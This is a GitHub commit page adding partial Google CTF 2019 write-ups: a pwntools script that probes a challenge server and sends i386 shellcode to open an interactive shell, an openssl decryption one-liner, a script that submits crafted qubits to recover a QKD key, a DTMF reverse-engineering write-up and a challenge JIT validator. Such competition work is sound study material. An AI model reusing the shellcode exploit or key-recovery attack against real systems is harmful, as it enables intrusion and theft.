Skip to content

Commit 977fefb

Browse files
committed
[writeup] add google ctf 2019 (part)
1 parent 181f813 commit 977fefb

File tree

14 files changed

+1810
-0
lines changed

14 files changed

+1810
-0
lines changed
Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
import pwn
2+
3+
4+
def remote():
5+
conn = pwn.remote("microservicedaemonos.ctfcompetition.com", 1337)
6+
line = conn.readline()
7+
print(line)
8+
line = conn.read(numb=len('Provide command: '))
9+
print(line)
10+
conn.writeline('l') # command l
11+
line = conn.read(numb=len('Provide type of trustlet: '))
12+
print(line)
13+
conn.writeline('0') # trustlet type 1
14+
15+
line = None
16+
offs = 0
17+
while offs <= 0x7ff1:
18+
print('offset', offs)
19+
line = conn.read(numb=len('Provide command: '))
20+
print(line)
21+
conn.writeline('c') # command c
22+
line = conn.read(numb=len('Provide index of ms: '))
23+
print(line)
24+
conn.writeline('0') # index of ms
25+
line = conn.read(numb=len('call type: '))
26+
print(line)
27+
conn.writeline('g') # call type
28+
line = conn.read(numb=len('provide page offset: '))
29+
print(line)
30+
conn.writeline(str(offs)) # offset
31+
line = conn.read(numb=len('provide page count: '))
32+
print(line)
33+
conn.writeline(str(1)) # count
34+
line = conn.readline()
35+
print(line)
36+
if line == '0':
37+
break
38+
offs += 1
39+
40+
conn.writeline(pwn.asm(pwn.shellcraft.i386.linux.sh()))
41+
conn.writeline('')
42+
conn.interactive()
43+
44+
remote()
Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
key="404c368bf890dd10abc3f4209437fcbb"
2+
ciphertext="U2FsdGVkX182ynnLNxv9RdNdB44BtwkjHJpTcsWU+NFj2RfQIOpHKYk1RX5i+jKO"
3+
4+
key="946cff6c9d9efed002233a6a6c7b83b1"
5+
ciphertext="U2FsdGVkX19OI2T2J9zJbjMrmI0YSTS+zJ7fnxu1YcGftgkeyVMMwa+NNMG6fGgjROM/hUvvUxUGhctU8fqH4titwti7HbwNMxFxfIR+lR4="
6+
7+
echo "$key" > /tmp/plain.key; xxd -r -p /tmp/plain.key > /tmp/enc.key
8+
echo "$ciphertext" | openssl enc -d -aes-256-cbc -pbkdf2 -md sha1 -base64 --pass file:/tmp/enc.key
Lines changed: 100 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,100 @@
1+
import requests
2+
import json
3+
from qkd import *
4+
import numpy
5+
import random
6+
import numpy
7+
8+
def test(rx_qubits, rx_basis):
9+
random.seed()
10+
key = '404c368bf890dd10abc3f4209437fcbb'
11+
# Multiply the amount of bits in the encryption key by 4 to obtain the amount of basis.
12+
sat_basis = [random.choice('+x') for _ in range(len(key)*16)]
13+
measured_bits = measure(unmarshal(rx_qubits), sat_basis)
14+
binary_key, err = compare_bases_and_generate_key(rx_basis, sat_basis, measured_bits)
15+
if err:
16+
return None, None, err
17+
# ENCRYPTION_KEY is in hex, so multiply by 4 to get the bit length.
18+
binary_key = binary_key[:len(key)*4]
19+
if len(binary_key) < (len(key)*4):
20+
return None, sat_basis, "not enough bits to create shared key: %d want: %d" % (len(binary_key), len(key))
21+
return binary_key, sat_basis, None
22+
23+
24+
def validate(q):
25+
p0 = round(pow(q.real, 2), 1)
26+
p1 = round(pow(q.imag, 2), 1)
27+
random.seed()
28+
29+
try:
30+
numpy.random.choice(numpy.arange(0, 2), p=[p0, p1])
31+
except ValueError:
32+
return False
33+
return True
34+
35+
def find_prob(total, step=0.1, rotate=False):
36+
rx = []
37+
i = 0.0
38+
while i <= 1 and len(rx) < total:
39+
j = 0.0
40+
while j <= 1 and len(rx) < total:
41+
qx = {'real': round(i, 2), 'imag': round(j, 2)}
42+
q = complex(qx['real'], qx['imag'])
43+
44+
if rotate:
45+
qr = rotate_45(q)
46+
if validate(qr):
47+
rx.append({"real": qx['real'], "imag": qx['imag']})
48+
else:
49+
if validate(q):
50+
rx.append({"real": qx['real'], "imag": qx['imag']})
51+
j += step
52+
i += step
53+
return rx
54+
55+
def random_qubits():
56+
qubits = []
57+
_x = find_prob(512, 0.2, True)
58+
_r = find_prob(512, 0.2, False)
59+
basis = [random.choice('+x') for _ in range(512)]
60+
qubits = []
61+
62+
for b in basis:
63+
if b == '+':
64+
qubits.append(random.choice(_r))
65+
else:
66+
qubits.append(random.choice(_x))
67+
68+
data = {
69+
"basis": basis,
70+
"qubits": qubits
71+
}
72+
73+
def post(data):
74+
headers = {
75+
"Content-Type": "application/json",
76+
}
77+
78+
rsp = requests.post(
79+
'https://cryptoqkd.web.ctfcompetition.com/qkd/qubits',
80+
data=json.dumps(data),
81+
headers=headers)
82+
83+
print(rsp.text)
84+
sat = rsp.json()
85+
print(sat["basis"]==data["basis"])
86+
ann = int(sat["announcement"], 16)
87+
print(ann)
88+
"""
89+
the encryption key should be 16bytes = 128bits long, guess announce XOR the shared key to get the encryption key
90+
"""
91+
print(hex(ann^(2**128-1)))
92+
93+
#random.seed()
94+
basis = ['+'] * 512
95+
qubits = [{'real': 0, 'imag': 1}]*512
96+
data = {
97+
"basis": basis,
98+
"qubits": qubits
99+
}
100+
post(data)
Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
import random
2+
import numpy
3+
4+
from math import sqrt
5+
#from flask import current_app
6+
7+
def rotate_45(qubit):
8+
return qubit * complex(0.707, -0.707)
9+
10+
def measure(rx_qubits, basis):
11+
measured_bits = ""
12+
for q, b in zip(rx_qubits, basis):
13+
if b == 'x':
14+
q = rotate_45(q)
15+
probability_zero = round(pow(q.real, 2), 1)
16+
probability_one = round(pow(q.imag, 2), 1)
17+
#print('validate', b, q, probability_zero, probability_one, probability_zero+probability_one)
18+
measured_bits += str(numpy.random.choice(numpy.arange(0, 2), p=[probability_zero, probability_one]))
19+
return measured_bits
20+
21+
def compare_bases_and_generate_key(tx_bases, rx_bases, measure):
22+
"""Compares TX and RX bases and return the selected bits."""
23+
if not (len(tx_bases) == len(rx_bases) == len(measure)):
24+
return None, "tx_bases(%d), rx_bases(%d) and measure(%d) must have the same length." % (len(tx_bases), len(rx_bases), len(measure))
25+
ret = ''
26+
for bit, tx_base, rx_base in zip(measure, tx_bases, rx_bases):
27+
if tx_base == rx_base:
28+
ret += bit
29+
return ret, None
30+
31+
def unmarshal(qubits):
32+
return [complex(q['real'], q['imag']) for q in qubits]
33+
34+
# Receive user's qubits and basis, return the derived key and our basis.
35+
def perform(rx_qubits, rx_basis):
36+
random.seed()
37+
# Multiply the amount of bits in the encryption key by 4 to obtain the amount of basis.
38+
sat_basis = [random.choice('+x') for _ in range(len(current_app.config['ENCRYPTION_KEY'])*16)]
39+
measured_bits = measure(unmarshal(rx_qubits), sat_basis)
40+
binary_key, err = compare_bases_and_generate_key(rx_basis, sat_basis, measured_bits)
41+
if err:
42+
return None, None, err
43+
# ENCRYPTION_KEY is in hex, so multiply by 4 to get the bit length.
44+
binary_key = binary_key[:len(current_app.config['ENCRYPTION_KEY'])*4]
45+
if len(binary_key) < (len(current_app.config['ENCRYPTION_KEY'])*4):
46+
return None, sat_basis, "not enough bits to create shared key: %d want: %d" % (len(binary_key), len(current_app.config['ENCRYPTION_KEY']))
47+
return binary_key, sat_basis, None

google-ctf-2019/dialtone/writeup.md

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
Decompile the program with Ghida, we learned that
2+
3+
* it return SUCCEED if result of function `r` is greater than 0, other wise FAILED.
4+
5+
Take a look at function `r`.
6+
7+
local_58 is using high frequencies [1209, 1336, 1477, 1633]
8+
local_78 is using low frequencies [697, 770, 852, 941]
9+
10+
The big switch to check the state and the index of selected frequencies, `r` results in succeeded if the correct combination is found.
11+
12+
According to [keypad frequency](https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling#Keypad)
13+
14+
DTMF keypad frequencies (with sound clips)
15+
1209 Hz 1336 Hz 1477 Hz 1633 Hz
16+
697 Hz 1 2 3 A
17+
770 Hz 4 5 6 B
18+
852 Hz 7 8 9 C
19+
941 Hz * 0 # D
20+
21+
```
22+
local_c = local_20 << 2 | local_c;
23+
```
24+
25+
The lower two bits represent high frequency, the higher two bits represent low freqency.
26+
27+
Take a look at the switch block
28+
29+
30+
high = [1209, 1336, 1477, 1633]
31+
low = [697, 770, 852, 941]
32+
33+
position 0: local_c should be 9(0b1001), (low[0b10],high[0b01]) = (852Hz,1336Hz) = 8
34+
position 1: local_c should be 5(0b0101), (low[0b01],high[0b01]) = (770Hz,1336Hz) = 5
35+
position 2: local_c should be 10(0b1010), (low[0b10],high[0b10]) = (852Hz,1477Hz) = 9
36+
position 3: local_c should be 6(0b0110), (low[0b01],high[0b10]) = (770Hz,1477Hz) = 6
37+
position 4: local_c should be 9(0b1001), (low[0b10],high[0b01]) = (852Hz,1336Hz) = 8
38+
position 5: local_c should be 8(0b1000), (low[0b10],high[0b00]) = (852Hz,1209Hz) = 7
39+
position 6: local_c should be 1(0b0001), (low[0b00],high[0b01]) = (697Hz,1336Hz) = 2
40+
position 7: local_c should be 0xd(0b1101), (low[0b11],high[0b01]) = (941Hz,1336Hz) = 0
41+
position 8: 0 is invalid, make it 1
42+
43+
44+
So the key sequence is 859687201.
Lines changed: 144 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,144 @@
1+
import com.sun.jna.Library;
2+
import com.sun.jna.Native;
3+
4+
import java.util.*;
5+
import java.util.function.Function;
6+
7+
public class FancyJIT {
8+
public interface CompilierLib extends Library {
9+
CompilierLib INSTANCE = Native.load("compiler", CompilierLib.class);
10+
11+
int run(String[] program, int proglen);
12+
}
13+
14+
static class Instr {
15+
String name;
16+
char reg;
17+
int arg;
18+
19+
Instr(String name, char reg, int arg) {
20+
this.name = name;
21+
this.reg = reg;
22+
this.arg = arg;
23+
}
24+
}
25+
26+
static class Parser {
27+
static HashMap<String, Function<String, Optional<Instr>>> parsers = new HashMap<>();
28+
static Function<String, Optional<Instr>> parse2Arg = (String cmd) -> {
29+
if (cmd.charAt(4) != 'A' && cmd.charAt(4) != 'B') {
30+
return Optional.empty();
31+
}
32+
if (cmd.charAt(5) != ',' || cmd.charAt(6) != ' ') {
33+
return Optional.empty();
34+
}
35+
return Optional.of(new Instr(
36+
cmd.substring(0, 3),
37+
cmd.charAt(4),
38+
Integer.parseInt(cmd.substring(7, cmd.length() - 1))));
39+
};
40+
static Function<String, Optional<Instr>> parse1Arg = (String cmd) -> {
41+
return Optional.of(new Instr(
42+
cmd.substring(0, 3),
43+
'X',
44+
Integer.parseInt(cmd.substring(4, cmd.length() - 1))));
45+
};
46+
static Function<String, Optional<Instr>> parse0Arg = (String cmd) -> {
47+
if (cmd.length() != 5) {
48+
return Optional.empty();
49+
}
50+
return Optional.of(new Instr(cmd.substring(0, 3), 'X', 0));
51+
};
52+
static {
53+
parsers.put("MOV", parse2Arg);
54+
parsers.put("ADD", parse2Arg);
55+
parsers.put("SUB", parse2Arg);
56+
parsers.put("CMP", parse2Arg);
57+
parsers.put("LDR", parse2Arg);
58+
parsers.put("STR", parse2Arg);
59+
parsers.put("JMP", parse1Arg);
60+
parsers.put("JNE", parse1Arg);
61+
parsers.put("JEQ", parse1Arg);
62+
parsers.put("SUM", parse0Arg);
63+
parsers.put("RET", parse0Arg);
64+
}
65+
66+
static Optional<Instr> parse(String cmd) {
67+
if (cmd.length() < 5) {
68+
return Optional.empty();
69+
}
70+
if (cmd.charAt(3) != '(' || cmd.charAt(cmd.length() - 1) != ')') {
71+
return Optional.empty();
72+
}
73+
return parsers.getOrDefault(cmd.substring(0, 3), x -> Optional.empty()).apply(cmd);
74+
}
75+
}
76+
77+
private static boolean validate(String[] program) {
78+
if (program.length > 800) {
79+
return false;
80+
}
81+
for (int i = 0; i < program.length; i++) {
82+
String cmd = program[i];
83+
Optional<Instr> oinstr = Parser.parse(cmd);
84+
if (!oinstr.isPresent()) {
85+
return false;
86+
}
87+
Instr instr = oinstr.get();
88+
switch (instr.name) {
89+
case "MOV":
90+
if (instr.arg < 0 || instr.arg > 99999) {
91+
return false;
92+
}
93+
break;
94+
case "ADD":
95+
case "SUB":
96+
case "CMP":
97+
if (instr.arg < 0 || instr.arg > 99999 || instr.reg != 'A') {
98+
return false;
99+
}
100+
break;
101+
case "LDR":
102+
case "STR":
103+
if (instr.arg < 0 || instr.arg > 30) {
104+
return false;
105+
}
106+
break;
107+
case "JMP":
108+
case "JNE":
109+
case "JEQ":
110+
if (instr.arg < 0 || instr.arg >= program.length || Math.abs(i - instr.arg) > 20) {
111+
return false;
112+
}
113+
break;
114+
case "SUM":
115+
case "RET":
116+
break;
117+
default:
118+
return false;
119+
}
120+
}
121+
return true;
122+
}
123+
124+
public static void main(String[] args) {
125+
System.out.println("Please enter your program. We'll JIT-compile it, run, and show you the result:");
126+
Scanner scanner = new Scanner(System.in);
127+
ArrayList<String> prog = new ArrayList<>();
128+
while (true) {
129+
String line = scanner.nextLine();
130+
if (line.isEmpty()) {
131+
break;
132+
}
133+
prog.add(line);
134+
}
135+
// System.err.println(prog);
136+
String[] progArr = prog.toArray(new String[0]);
137+
if (!validate(progArr)) {
138+
System.out.println("Sorry, your program has some errors.");
139+
} else {
140+
int res = CompilierLib.INSTANCE.run(progArr, progArr.length);
141+
System.out.println("Here is your computation result: " + res);
142+
}
143+
}
144+
}

0 commit comments

Comments
 (0)